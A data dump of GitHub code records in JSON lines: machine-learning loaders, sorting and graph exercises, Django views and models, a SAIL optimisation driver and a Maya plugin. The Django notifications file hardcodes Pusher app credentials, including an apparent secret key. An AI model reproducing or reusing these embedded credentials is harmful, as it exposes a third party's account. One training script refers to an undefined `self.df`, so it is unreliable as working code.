test_window_dataset = KTDataset(os.path.join(data_config[\"dpath\"], data_config[\"test_window_file\"]), data_config, {-1})\n if \"test_question_file\" in data_config:\n test_question_dataset = KTDataset(os.path.join(data_config[\"dpath\"], data_config[\"test_question_file\"]), data_config, {-1}, True)\n test_question_window_dataset = KTDataset(os.path.join(data_config[\"dpath\"], data_config[\"test_question_window_file\"]), data_config, {-1}, True)\n\n test_loader = DataLoader(test_dataset, batch_size=batch_size, shuffle=False)\n test_window_loader = DataLoader(test_window_dataset, batch_size=batch_size, shuffle=False)\n if \"test_question_file\" in data_config:\n print(f\"has test_question_file!\")\n test_question_loader = DataLoader(test_question_dataset, batch_size=batch_size, shuffle=False)\n test_question_window_loader = DataLoader(test_question_window_dataset, batch_size=batch_size, shuffle=False)\n\n return test_loader, test_window_loader, test_question_loader, test_question_window_loader\n\ndef update_gap(max_rgap, max_sgap, max_pcount, cur):\n max_rgap = cur.max_rgap if cur.max_rgap > max_rgap else max_rgap\n max_sgap = cur.max_sgap if cur.max_sgap > max_sgap else max_sgap\n max_pcount = cur.max_pcount if cur.max_pcount > max_pcount else max_pcount\n return max_rgap, max_sgap, max_pcount\n\ndef init_dataset4train(device, emb_type, dataset_name, model_name, data_config, i, batch_size):\n data_config = data_config[dataset_name]\n all_folds = set(data_config[\"folds\"])\n if model_name == \"dkt_forget\":\n max_rgap, max_sgap, max_pcount = 0, 0, 0\n curvalid = DktForgetDataset(os.path.join(data_config[\"dpath\"], data_config[\"train_valid_file\"]), data_config, {i})\n curtrain = DktForgetDataset(os.path.join(data_config[\"dpath\"], data_config[\"train_valid_file\"]), data_config, all_folds - {i})\n max_rgap, max_sgap, max_pcount = update_gap(max_rgap, max_sgap, max_pcount, curtrain)\n max_rgap, max_sgap, max_pcount = update_gap(max_rgap, max_sgap, max_pcount, curvalid)\n else:\n curvalid = KTDataset(device, os.path.join(data_config[\"dpath\"], data_config[\"train_valid_file\"]), data_config, {i})\n curtrain = KTDataset(device, os.path.join(data_config[\"dpath\"], data_config[\"train_valid_file\"]), data_config, all_folds - {i})\n\n # if emb_type.startswith(\"R\"):\n curtrain.emb_type = emb_type\n curvalid.emb_type = emb_type\n\n n_tokens = int(emb_type.split(\"_\")[-1]) if emb_type.startswith((\"R_\", \"L_\")) else 2\n print(\"n_tokens\",n_tokens)\n curtrain.get_quantiles(n_tokens)\n curvalid.get_quantiles(n_tokens)\n\n train_loader = DataLoader(curtrain, batch_size=batch_size)\n valid_loader = DataLoader(curvalid, batch_size=batch_size)\n \n if model_name == \"dkt_forget\":\n test_dataset = DktForgetDataset(os.path.join(data_config[\"dpath\"], data_config[\"test_file\"]), data_config, {-1})\n test_window_dataset = DktForgetDataset(os.path.join(data_config[\"dpath\"], data_config[\"test_window_file\"]),\n data_config, {-1})\n max_rgap, max_sgap, max_pcount = update_gap(max_rgap, max_sgap, max_pcount, test_dataset)\n else:\n test_dataset = KTDataset(device, os.path.join(data_config[\"dpath\"], data_config[\"test_file\"]), data_config, {-1})\n test_window_dataset = KTDataset(device, os.path.join(data_config[\"dpath\"], data_config[\"test_window_file\"]), data_config, {-1})\n \n if model_name == \"dkt_forget\":\n data_config[\"num_rgap\"] = max_rgap + 1\n data_config[\"num_sgap\"] = max_sgap + 1\n data_config[\"num_pcount\"] = max_pcount + 1\n\n # if emb_type.startswith(\"R\"):\n test_dataset.emb_type = emb_type\n n_tokens = int(emb_type.split(\"_\")[-1]) if emb_type.startswith((\"R_\", \"L_\")) else 2\n print(\"n_tokens\",n_tokens)\n test_dataset.get_quantiles(n_tokens)\n\n test_loader = DataLoader(test_dataset, batch_size=batch_size, shuffle=False)\n test_window_loader = DataLoader(test_window_dataset, batch_size=batch_size, shuffle=False)\n test_window_loader = None\n\n return train_loader, valid_loader, test_loader, test_window_loader","repo_name":"skewondr/Kiise_22KCC","sub_path":"pykt/datasets/init_dataset.py","file_name":"init_dataset.py","file_ext":"py","file_size_in_byte":5304,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"42847787644","text":"#!/usr/bin/env python3\n\ndef getFile():\n with open(\"numfile.txt\", \"r\") as numfile:\n numlist = []\n for line in numfile:\n numlist.append(int(line))\n return numlist\n\ndef main():\n for num in getFile():\n if num % 15 == 0:\n print(\"FizzBuzz\")\n elif num % 3 == 0:\n print(\"fizz\")\n elif num % 5 == 0:\n print(\"Buzz\")\n else:\n print(num)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"jmvaldez/mycode","sub_path":"chadchallenges/fizzbuzz.py","file_name":"fizzbuzz.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70613100034","text":"import os \nimport pandas as pd \nfrom classes.VggHandler import VggHandler\nfrom classes.ResultsHandler import ResultsHandler\nfrom classes.Market import Market\n\nos.environ[\"CUDA_DEVICE_ORDER\"]=\"PCI_BUS_ID\";\nos.environ[\"CUDA_VISIBLE_DEVICES\"]=\"0\";\n\n\n# FIRST\n#training_set = [['2012-10-20', '2016-12-31']]\n#validation_set = [ ['2017-01-01', '2017-09-20']]\n#test_set = [['2017-09-21', '2017-11-30']]\n\n\ntraining_set = [['2012-10-20', '2015-10-20'], ['2013-03-20', '2016-03-20'], ['2013-08-20', '2016-08-20'], ['2014-01-20', '2017-01-20']]\nvalidation_set = [['2015-10-21', '2016-03-20'], ['2016-03-21', '2016-08-20'], ['2016-08-21', '2017-01-20'], ['2017-01-21', '2017-06-20']]\ntest_set = [['2016-03-21', '2016-08-20'], ['2016-08-21', '2017-01-20'], ['2017-01-21', '2017-06-20'], ['2017-06-21', '2017-11-20']]\n\n''' Converto in date e time la colonna date_time\ndf = pd.read_csv('../datasets/meteo_formatted.csv')\ndf = df.set_index('id')\n\ndf['date_time'] = pd.to_datetime(df['date_time'], format='%Y-%m-%d %H:%M:%S')\n\ndf['date'] = df['date_time'].dt.date\ndf['time'] = df['date_time'].dt.time\ndf.to_csv('../datasets/meteo_formatted.csv')\n'''\n\n\nmarket = Market(dataset='meteo_formatted')\nlabel = market.get_label_next_day_using_close(columns=['date_time', 'delta'])\n\ngrouped = self.df.drop(['date', 'time', 'delta'], axis=1).groupby(pd.Grouper(key='date_time', freq=freq), sort=True).agg({\n 'open': 'first',\n 'close': 'last',\n 'close_adj': 'last',\n 'high': 'max',\n 'low': 'min',\n 'up': 'sum',\n 'down': 'sum',\n 'volume': 'sum'\n })\n \nlabel.to_csv('../datasets/meteo_formatted_with_label.csv')\n'''\ninput_images_folders = ['merge_meteo/gadf/delta/']\ninput_datasets = ['meteo']\n\n\npredictions_dataset = 'meteo_formatted'\npredictions_images_folder = 'merge_meteo/gadf/delta/'\n\nvgg = VggHandler()\n\nvgg.net_config(epochs=150, number_of_nets=20, save_pkl=True, save_model_history=True, model_history_period=150)\n\nvgg.run_initialize( predictions_dataset=predictions_dataset,\n predictions_images_folder=predictions_images_folder,\n\n input_images_folders=input_images_folders,\n input_datasets=input_datasets,\n\n training_set=training_set,\n validation_set=validation_set,\n test_set=test_set,\n \n input_shape=(40,40,3),\n output_folder='meteo_4walks')\n\n #vgg.run_2D()\n\n\nresults_handler = ResultsHandler(experiment_name='meteo_4walks', dataset='meteo_formatted')\n\nvgg.get_predictions_2D(set_type='validation')\n\n#results_handler.generate_ensemble(set_type='validation')\n#results_handler.generate_plots(set_type='validation')\n#results_handler.generate_csv_aggregate_by_walk(set_type='validation')\n#results_handler.generate_csv_aggregate_unique_walk(set_type='validation')\n\n\nvgg.get_predictions_2D(set_type='test')\n#results_handler.generate_ensemble(set_type='test')\n#results_handler.generate_plots(set_type='test')\n#results_handler.generate_csv_aggregate_by_walk(set_type='test')\n#results_handler.generate_csv_aggregate_unique_walk(set_type='test')\n'''","repo_name":"Artificial-Intelligence-Big-Data-Lab/AAO-Deep-Learning","sub_path":"src/garbage/training_weather.py","file_name":"training_weather.py","file_ext":"py","file_size_in_byte":3258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4091626031","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\n\ndef max_heap_sort(arr):\n arr = build_max_heap(arr)\n capacity = len(arr)\n for i in range(len(arr), 1, -1):\n last = i - 1\n arr[0], arr[last] = arr[last], arr[0]\n\n capacity -= 1\n max_heapify(arr, 1, capacity)\n\n return arr\n\n\ndef build_max_heap(arr):\n for i in range(len(arr) // 2, 0, -1):\n max_heapify(arr, i, len(arr))\n\n return arr\n\n\ndef max_heapify(arr, i, capacity):\n left = 2 * i\n right = left + 1\n # capacity = len(arr) + 1\n max = i\n\n if left <= capacity and arr[left - 1] > arr[i - 1]:\n max = left\n\n if right <= capacity and arr[right - 1] > arr[max - 1]:\n max = right\n\n if max != i:\n arr[i - 1], arr[max - 1] = arr[max - 1], arr[i - 1]\n max_heapify(arr, max, capacity)\n\n\nif __name__ == '__main__':\n arr = max_heap_sort([3, 4, 5, 1, 2])\n print(arr)","repo_name":"zhengxiaowai/datastruct-python","sub_path":"datastruct/sort/heap.py","file_name":"heap.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23421347451","text":"#!/usr/bin/python\nimport sys\nfin = open(\"B-large.in\", \"r\")\nline = fin.readline()\ntestcase = int(line)\nans=0.0\nfor i in range(testcase): #i is testcase\n r = 2.0\n t = 0.0\n b = 0\n splitline = fin.readline().split(' ')\n splitline[2] = splitline[2].rstrip('\\n')\n #print(splitline)\n c = float(splitline[0])\n f = float(splitline[1])\n x = float(splitline[2])\n while (t+x/r)>(t+(c/r)+x/(r+f)):\n t+=c/r #build a factory\n r+=f\n b+=1\n t+=x/r\n ans=round(t,7)\n print('Case #'+str(i+1)+': '+str(ans))\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_136/1252.py","file_name":"1252.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33290685701","text":"from django.shortcuts import render\nfrom .models import Operation,Bin\n# Create your views here.\nfrom django.shortcuts import render,redirect\nfrom datetime import datetime\nfrom .forms import BinForm,BinUpdateForm\n\ndef getOperations(request):\n operations = Operation.objects.all()\n operations = seedForOperations(operations)\n\n return render(request, 'home.html', {'operations': operations})\n\ndef bin_create(request):\n form = BinForm()\n context = {\n 'form':form.as_p\n }\n latitude = request.POST.get('latitude')\n longitude = request.POST.get('longitude')\n collection_frequency = 1\n operation = request.POST.get('operation')\n last_collection = datetime.now()\n\n if request.method == \"POST\":\n operation = Operation.objects.get(id=operation)\n Bin.objects.create(latitude=latitude,longitude=longitude,collection_frequency=collection_frequency,operation = operation,last_collection=last_collection)\n bins = Bin.objects.all()\n return render(request, 'get.html', {'bins': bins})\n else:\n form = BinForm()\n\n return render(request,'form.html',context)\n\ndef getBins(request):\n bins = Bin.objects.all()\n\n return render(request,'get.html',{'bins':bins})\n\ndef getBin(request,id):\n bin = Bin.objects.get(id=id)\n if bin.operation.name == \"Get\":\n bin.collection_frequency = bin.collection_frequency + 1\n bin.last_collection = datetime.now()\n bin.save()\n\n return render(request,'detail.html',{'bin':bin})\n\ndef bin_update(request,id):\n bin = Bin.objects.get(id=id)\n form = BinUpdateForm(instance=bin)\n\n\n\n if request.method == \"POST\":\n bin.latitude = request.POST.get('latitude')\n bin.longitude = request.POST.get('longitude')\n if bin.operation.name == \"Update\":\n bin.collection_frequency = bin.collection_frequency + 1\n bin.last_collection = datetime.now()\n bin.save()\n bins = Bin.objects.all()\n return render(request,'get.html',{'bins':bins})\n\n context = {\n 'form': form.as_p\n }\n\n return render(request,'form.html',context)\n\ndef bin_delete(request,id):\n Bin.objects.filter(id=id).delete()\n\n bins = Bin.objects.all()\n\n return render(request, 'get.html', {'bins': bins})\n\n\ndef seedForOperations(operations):\n\n if len(operations) == 0:\n name = 'Add'\n Operation.objects.create(name=name)\n name = 'Get'\n Operation.objects.create(name=name)\n name = 'Update'\n Operation.objects.create(name=name)\n name = 'Delete'\n Operation.objects.create(name=name)\n operations = Operation.objects.all()\n\n return operations\n\n\n\n\n\n\n","repo_name":"FakiTayran/Python-Task-Project","sub_path":"AS_2/howmanytimes/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33496502980","text":"\"\"\"\nDescription\n__________\nGiven an integer array, find the top k largest numbers in it.\n\nExample\n____________\nGiven [3,10,1000,-99,4,100] and k = 3.\nReturn [1000, 100, 10].\n\n\nApproach\n____________\nMaintain a size k minheap to pop off n-k smallest element\n(for loop through all elements pop on and when size >k, pop off)\n\nThe resulted heap contains top largest elements reversely ordered\n\nComplexity\n____________\nTime - O(N.Lg(K))\nSpace - K\n\"\"\"\n\nimport heapq\n\n\nclass T:\n\n def __init__(self, v):\n self.v = v\n\n def __cmp__(self, other):\n return -(other.v - self.v)\n\n\nclass Solution:\n '''\n @param {int[]} nums an integer array\n @param {int} k an integer\n @return {int[]} the top k largest numbers in array\n '''\n \n\n def topk(self, nums, k):\n # Write your code here\n if nums is None:\n return\n import heapq\n heap = []\n for i in nums:\n heapq.heappush(heap, i)\n if len(heap) > k:\n heapq.heappop(heap)\n result = [0 for _ in xrange(k)]\n index = k - 1\n # print heap\n while heap:\n t = heapq.heappop(heap)\n # print t\n result[index] = t\n index -= 1\n\n return result\n","repo_name":"ZhengyangXu/Classified","sub_path":"8.Data_Structure/8.8_544_Top_K_Largest_Numbers.py","file_name":"8.8_544_Top_K_Largest_Numbers.py","file_ext":"py","file_size_in_byte":1255,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"27968975376","text":"\"\"\"\nMain function for running SAIL. This function is used for controlling behavior of SailRun objects.\n\nParameters\n\n initial_seed : used for seeding - among each benchmark iteration, all algorithms are seeded with the same value. This value is incremented by the number of TEST_RUNS, to ensure a unique sequence of seeds for each benchmark iteration, identical across all benchmarked algorithms.\n \n acq_ucb_flag : boolean flag for running SAIL with UCB acquisition function\n acq_mes_flag : boolean flag for running SAIL with MES acquisition function\n \n greedy_flag: boolean flag for sampling only highest performing solutions from new elites archive (100% exploitation)\n hybrid_flag: boolean flag for sampling certain percentage of highest performing solutions, certain percentage of new bin solutions (xx.xx% exploitation, 100-xx.xx% exploration)\n\n random_init: boolean flag for initializing target archive with quasi-random sobol samples\n mes_init: boolean flag for initializing target archive with MES samples\n\n sail_vanilla_flag : boolean flag for running SAIL with vanilla behavior\n - before each MAP-Loop, initialize target archive with objective elites\n sail_custom_flag : boolean flag for running SAIL with custom behavior \n - before each MAP-Loop, initialize target archive with objective elites & updated target elites\n - requires selection of: (greedy_flag or hybrid_flag) and (random_init or mes_init)\n - offers possibility of using pred_verific_flag\n sail_random_flag : boolean flag for running SAIL with uniform random solutions\n\"\"\"\n\nimport numpy as np\nimport subprocess\nimport datetime\nimport time\nimport PIL\nimport gc\nimport os\n\n###### Import Custom Scripts ######\nfrom sail_runs import run_custom_sail, run_vanilla_sail, run_random_sail\nfrom sail_runner import SailRun, evaluate_prediction_archive, store_final_data\nfrom map_elites import map_elites\n\n###### Configurable Variables ######\nfrom config.config import Config\nconfig = Config('config/config.ini')\nPREDICTION_VERIFICATIONS = config.PREDICTION_VERIFICATIONS\nPRED_N_OBJ_EVALS = config.PRED_N_OBJ_EVALS\nSOL_VALUE_RANGE = config.SOL_VALUE_RANGE\nSIGMA_EMITTER = config.SIGMA_EMITTER\nBATCH_SIZE = config.BATCH_SIZE\nTEST_RUNS = config.TEST_RUNS\n\n\nimport warnings\nwarnings.filterwarnings(\"ignore\", message=\"CUDA initialization: The NVIDIA driver on your system is too old\")\nnp.set_printoptions(precision=4, suppress=True, floatmode='fixed', linewidth=120)\n\n# global variable used for building dynamic folder structure for benchmarks\nbenchmark_domains = []\n\nif (BATCH_SIZE%2)!=0 or ((PRED_N_OBJ_EVALS//PREDICTION_VERIFICATIONS)%2)!=0:\n raise ValueError(\"BATCH_SIZE and MAX_PRED_VERIFICATION//PEDICTION_VERIFICATION must be even numbers\")\n\ndef sail(initial_seed, acq_ucb_flag=False, acq_mes_flag=False, sail_vanilla_flag=False, sail_custom_flag=False, sail_random_flag=False, pred_verific_flag=False, greedy_flag=False, hybrid_flag=False, random_init=False, mes_init=False, ucb_init=False):\n\n current_run = SailRun(initial_seed, acq_ucb_flag=acq_ucb_flag, acq_mes_flag=acq_mes_flag, sail_vanilla_flag=sail_vanilla_flag, sail_custom_flag=sail_custom_flag, sail_random_flag=sail_random_flag, pred_verific_flag=pred_verific_flag, greedy_flag=greedy_flag, hybrid_flag=hybrid_flag, random_init=random_init, mes_init=mes_init, ucb_init=ucb_init) \n\n if sail_vanilla_flag:\n run_vanilla_sail(current_run)\n gc.collect()\n\n if sail_custom_flag:\n run_custom_sail(current_run, acq_loop=True)\n gc.collect()\n\n if sail_random_flag:\n run_random_sail(current_run)\n gc.collect()\n\n global benchmark_domains\n benchmark_domains.append(current_run.domain)\n\n\n print(\"\\n\\n ## Exit Acquisition Loop ##\")\n print(\" ## Enter Prediction Loop ##\\n\\n\")\n\n acq_elites_df = current_run.acq_archive.as_pandas(include_solutions=True)\n acq_elites_solutions = acq_elites_df.solution_batch()\n acq_elites_measures = acq_elites_df.measures_batch()\n\n obj_elites_df = current_run.obj_archive.as_pandas(include_solutions=True)\n obj_elites_solutions = obj_elites_df.solution_batch()\n obj_elites_measures = obj_elites_df.measures_batch()\n\n current_run.update_archive(candidate_sol=acq_elites_solutions, candidate_bhv=acq_elites_measures, pred_flag=True)\n current_run.update_archive(candidate_sol=obj_elites_solutions, candidate_bhv=obj_elites_measures, pred_flag=True)\n\n if current_run.pred_verific_flag:\n run_custom_sail(current_run, pred_loop=True)\n else:\n map_elites(current_run, pred_flag=True)\n\n evaluate_prediction_archive(current_run)\n store_final_data(current_run)\n gc.collect()\n\n print(\"[...] Terminate sail()\")\n\n return\n\n\nif __name__ == \"__main__\":\n\n subprocess.run(\"clean\", shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) # custom bash command to remove all files from last run\n exec_start = time.time()\n\n for i in range(TEST_RUNS):\n\n gc.collect()\n\n benchmark_domains = []\n\n #sail(initial_seed=i, sail_custom_flag=True, pred_verific_flag=True, hybrid_flag=True, acq_mes_flag=True, ucb_init=True)\n sail(initial_seed=i, sail_custom_flag=True, pred_verific_flag=True, greedy_flag=True, acq_mes_flag=True, ucb_init=True)\n #sail(initial_seed=i, sail_custom_flag=True, pred_verific_flag=True, hybrid_flag=True, acq_ucb_flag=True, ucb_init=True)\n sail(initial_seed=i, sail_vanilla_flag=True, acq_ucb_flag=True)\n gc.collect()\n\n img_filenames = [f\"imgs/final_heatmaps_{i}_{benchmark_domain}.png\" for benchmark_domain in benchmark_domains]\n imgs = [PIL.Image.open(img) for img in img_filenames]\n imgs_comb = np.vstack([img for img in imgs])\n imgs_comb = PIL.Image.fromarray(imgs_comb)\n imgs_comb.save(f'imgs/final_heatmaps_{i}.png')\n\n\n benchmark_filepaths = \" \".join([\"imgs/\" + benchmark_domain for benchmark_domain in benchmark_domains])\n current_time = datetime.datetime.now()\n timestamp = current_time.strftime(\"%Y%m%d%H%M\")\n os.makedirs(timestamp)\n subprocess.run(f\"cp config/config.ini {timestamp}/reproduction_info.txt\", shell=True)\n subprocess.run(f'mv *.csv csv', shell=True)\n subprocess.run(f'mv csv *.mp4 imgs stats_log {timestamp}', shell=True)\n if not os.path.exists(\"benchmarks\"): os.makedirs(\"benchmarks\")\n subprocess.run(f\"mv {timestamp} benchmarks\", shell=True)\n\n subprocess.run(f\"rm *.log *.dat\", shell=True)\n\n exec_end = time.time()\n exec_time = exec_end - exec_start\n print(\"\\nExecution time (minutes): \" + str(exec_time/60))","repo_name":"patrickab/Maximum-SAIL","sub_path":"sail_xfoil/sail.py","file_name":"sail.py","file_ext":"py","file_size_in_byte":6606,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"42306492454","text":"from maya import OpenMayaUI\nimport shiboken2\nfrom PySide2 import QtCore, QtGui, QtWidgets\nimport logging\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.INFO)\n\n\n# TODO : finish implementing python keyword highlighting in stack traces\nclass PythonSyntaxRules(object):\n keywords = [\n \"False\",\n \"await\",\n \"else\",\n \"import\",\n \"pass\",\n \"None\",\n \"break\",\n \"except\",\n \"in\",\n \"raise\",\n \"True\",\n \"class\",\n \"finally\",\n \"is\",\n \"return\",\n \"and\",\n \"continue\",\n \"for\",\n \"lambda\",\n \"try\",\n \"as\",\n \"def\",\n \"from\",\n \"nonlocal\",\n \"while\",\n \"assert\",\n \"del\",\n \"global\",\n \"not\",\n \"with\",\n \"async\",\n \"elif\",\n \"if\",\n \"or\",\n \"yield\",\n ]\n\n kOrange = QtGui.QColor(255, 80, 0)\n\n keyword_format = QtGui.QTextCharFormat()\n keyword_format.setForeground(kOrange)\n\n Rules = []\n # For some reason this doesn't work as a list comprehension and yields an \"undefined\" for\n # keyword format in the following list comprehension :\n # Rules = [(QtCore.QRegExp(r\"((\\s){}(\\s))\".format(keyword)), keyword_format) for keyword in keywords]\n for keyword in keywords:\n Rules.append((QtCore.QRegExp(r\"((\\s){}(\\s))\".format(keyword)), keyword_format))\n\n\nclass StdOut_Syntax(QtGui.QSyntaxHighlighter):\n\n kWhite = QtGui.QColor(200, 200, 200)\n kRed = QtGui.QColor(255, 0, 0)\n kOrange = QtGui.QColor(255, 160, 0)\n kGreen = QtGui.QColor(35, 170, 30)\n kBlue = QtGui.QColor(35, 160, 255)\n\n rx_error = QtCore.QRegExp(r\"[Ee][Rr][Rr][Oo][Rr]\")\n error_format = QtGui.QTextCharFormat()\n error_format.setForeground(kRed)\n\n rx_warning = QtCore.QRegExp(r\"[Ww][Aa][Rr][Nn][Ii][Nn][Gg]\")\n warning_format = QtGui.QTextCharFormat()\n warning_format.setForeground(kOrange)\n\n rx_debug = QtCore.QRegExp(r\"[Dd][Ee][Bb][Uu][Gg]\")\n debug_format = QtGui.QTextCharFormat()\n debug_format.setForeground(kGreen)\n\n rx_traceback_start = QtCore.QRegExp(\"Traceback \\(most recent call last\\)\")\n traceback_format = QtGui.QTextCharFormat()\n traceback_format.setForeground(kBlue)\n\n default_format = QtGui.QTextCharFormat()\n default_format.setForeground(kWhite)\n\n Rules = [\n (rx_debug, debug_format),\n (rx_warning, warning_format),\n (rx_error, error_format),\n ]\n\n def __init__(self, parent):\n super(StdOut_Syntax, self).__init__(parent)\n self.parent = parent\n self.normal, self.traceback = range(2)\n\n def highlightBlock(self, t):\n self.setCurrentBlockState(self.normal)\n if self.isTraceback(t):\n self.setFormat(0, len(t), self.traceback_format)\n self.setCurrentBlockState(self.traceback)\n else:\n self.line_formatting(t)\n\n def line_formatting(self, t):\n for regex, formatting in StdOut_Syntax.Rules:\n i = regex.indexIn(t)\n if i > 0:\n self.setFormat(0, len(t), formatting)\n\n def isTraceback(self, t):\n return (\n self.previousBlockState() == self.normal\n and self.rx_traceback_start.indexIn(t) > 0\n ) or (self.previousBlockState() == self.traceback and t.startswith(\"# \"))\n\n\ndef __se_highlight():\n logger.debug(\"Attaching highlighter\")\n i = 1\n while True:\n script_editor_output_name = \"cmdScrollFieldReporter{0}\".format(i)\n script_editor_output_object = OpenMayaUI.MQtUtil.findControl(script_editor_output_name)\n if not script_editor_output_object:\n break\n script_editor_output_widget = shiboken2.wrapInstance(int(script_editor_output_object), QtWidgets.QTextEdit)\n logger.debug(script_editor_output_widget)\n StdOut_Syntax(script_editor_output_widget.document())\n logger.debug(\"Done attaching highlighter to : %s\" % script_editor_output_widget)\n i += 1\n\n\n__qt_focus_change_callback = {\"cmdScrollFieldReporter\": __se_highlight}\n\n\ndef __on_focus_changed(old_widget, new_widget):\n if new_widget:\n widget_name = new_widget.objectName()\n for callback in [\n name for name in __qt_focus_change_callback if widget_name.startswith(name)\n ]:\n __qt_focus_change_callback[callback]()\n\n\ntry:\n app = QtWidgets.QApplication.instance()\n app.focusChanged.connect(__on_focus_changed)\n __se_highlight()\nexcept Exception as exp:\n pass\n","repo_name":"martinlanton/maya_script_editor_highlighter","sub_path":"src/userSetup.py","file_name":"userSetup.py","file_ext":"py","file_size_in_byte":4506,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"70622771395","text":"import sys\nimport heapq\ninput = sys.stdin.readline\nINF = 100000000\n\nn,m,e = map(int, input().split())\ns = [[] for _ in range(n+1)]\ndist = [INF]*(n+1)\ns_r = [[] for _ in range(n+1)]\ndist_r = [INF]*(n+1)\nq=[]\n\n\ndef dijkstra(a, dist, s):\n dist[a] = 0\n heapq.heappush(q, [0, a])\n while q:\n dis, now = heapq.heappop(q)\n if dist[now]<dis:\n continue\n for n2, wei in s[now]:\n cost = dis + wei\n if cost < dist[n2]:\n dist[n2] = cost\n heapq.heappush(q,[cost,n2])\n\nfor _ in range(m):\n x ,y, z = map(int, input().split())\n s[x].append([y,z])\n s_r[y].append([x,z])\n\ndijkstra(e,dist,s)\ndijkstra(e,dist_r,s_r)\nmax2 = 0\nfor i in range(1,n+1):\n max2 = max(max2, dist[i]+dist_r[i])\nprint(max2)\n","repo_name":"Cyma-s/ajaaja_coding_bootcamp","sub_path":"Dijkstra/1238.py","file_name":"1238.py","file_ext":"py","file_size_in_byte":780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14217571511","text":"from __future__ import unicode_literals\n\nfrom django.db import models\nfrom django.dispatch import receiver\nfrom django.db.models.signals import post_save\nfrom a2ausers.models import A2AUser\nfrom posts.models import Post, Vote\nfrom comments.models import Comment\nfrom a2ausers.serializers import A2AUserSerializer\n\nfrom pusher import Pusher\n\n\nclass Notification(models.Model):\n NOTI_TYPES = (\n ('01', 'USER comments on your QUESTION/ANSWER'),\n ('02', 'USER answers followed QUESTION'),\n ('03', 'USER upvotes/downvotes ANSWER')\n )\n type = models.CharField(max_length=200, choices=NOTI_TYPES)\n post = models.ForeignKey(Post, null=True, related_name=\"noti_list\")\n created_date = models.DateTimeField(auto_now_add=True)\n content = models.TextField()\n users = models.ManyToManyField(\n A2AUser,\n through='Read',\n related_name=\"notifications\"\n )\n created_by = models.ForeignKey(\n A2AUser,\n related_name=\"notification_created\"\n )\n\n\nclass Read(models.Model):\n notification = models.ForeignKey(Notification)\n user = models.ForeignKey(A2AUser)\n read = models.BooleanField(default=False)\n\n\n# save answer\n@receiver(post_save, sender=Post)\ndef add_answer(sender, instance, created, raw, **kwargs):\n if created and not raw:\n if instance.type == 'answer':\n notification = Notification(\n type='02',\n post=instance,\n created_by=instance.created_by,\n content=''\n )\n notification.save()\n for user in instance.parent.followed_by.all():\n if user != instance.created_by:\n read = Read(\n notification=notification,\n user=user,\n )\n read.save()\n\n\n@receiver(post_save, sender=Comment)\ndef add_comment(sender, instance, created, raw, **kwargs):\n if created and not raw:\n try:\n post = instance.parent\n except:\n post = None\n raise Exception('Post does not exist')\n if post is not None:\n notification = Notification(\n type='01',\n post=post,\n created_by=instance.created_by,\n content=''\n )\n notification.save()\n\n for user in instance.parent.followed_by.all():\n if user != instance.created_by:\n read = Read(\n notification=notification,\n user=user,\n )\n read.save()\n\n\n@receiver(post_save, sender=Vote)\ndef add_vote(sender, instance, created, raw, **kwargs):\n if created and not raw:\n try:\n post = instance.post\n except:\n post = None\n raise Exception('Post does not exist')\n if post is not None:\n notification = Notification(\n type='03',\n post=post,\n created_by=instance.user,\n content=''\n )\n notification.save()\n\n if instance.user != post.created_by:\n read = Read(\n notification=notification,\n user=post.created_by\n )\n read.save()\n\n# calling save when not create is only when change read to true\n\n\n@receiver(post_save, sender=Read)\ndef save_read(sender, instance, created, raw, **kwargs):\n if not raw:\n if created:\n instance.user.num_unread_notis += 1\n instance.user.save()\n user = instance.user\n channel = \"notification_\" + user.user.username\n pusher = Pusher(\"216867\", \"df818e2c5c3828256440\",\n \"5ff000997a9df3464eb5\")\n\n serializer = A2AUserSerializer(user)\n event_data = serializer.data\n pusher.trigger(channel, 'new_noti', event_data)\n","repo_name":"proj5/tech2016","sub_path":"app/notifications/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3976,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"16519162538","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n'''\nAuthor: Wanglj\nCreate Time : 20151223\nLast Modified: \n判断列表中是否有重复的\n'''\n\nclass Solution(object):\n def containsDuplicate(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: bool\n \"\"\"\n nums_set = set(nums)\n if len(nums_set) < len(nums):\n return True\n else:\n return False","repo_name":"wanglinjie/coding","sub_path":"leetcode/contains-duplicate.py","file_name":"contains-duplicate.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16252397859","text":"import logging\nimport inspect\n\nfrom typing import Callable, Iterable, Union, Optional\nfrom functools import wraps\n\nfrom .settings import default_behavior\nfrom py_deprecate.behaviors.base import BaseBehavior\n\n\ndef deprecated(\n allowed_deprecations: Union[Callable, Iterable],\n message: str = \"\",\n behavior: Optional[BaseBehavior] = None,\n):\n \"\"\"\n Decorator for marking code as deprecated.\n\n allowed_deprecations: Can either be a callable thats returns\n an iterable of allowed callables that are whitelisted 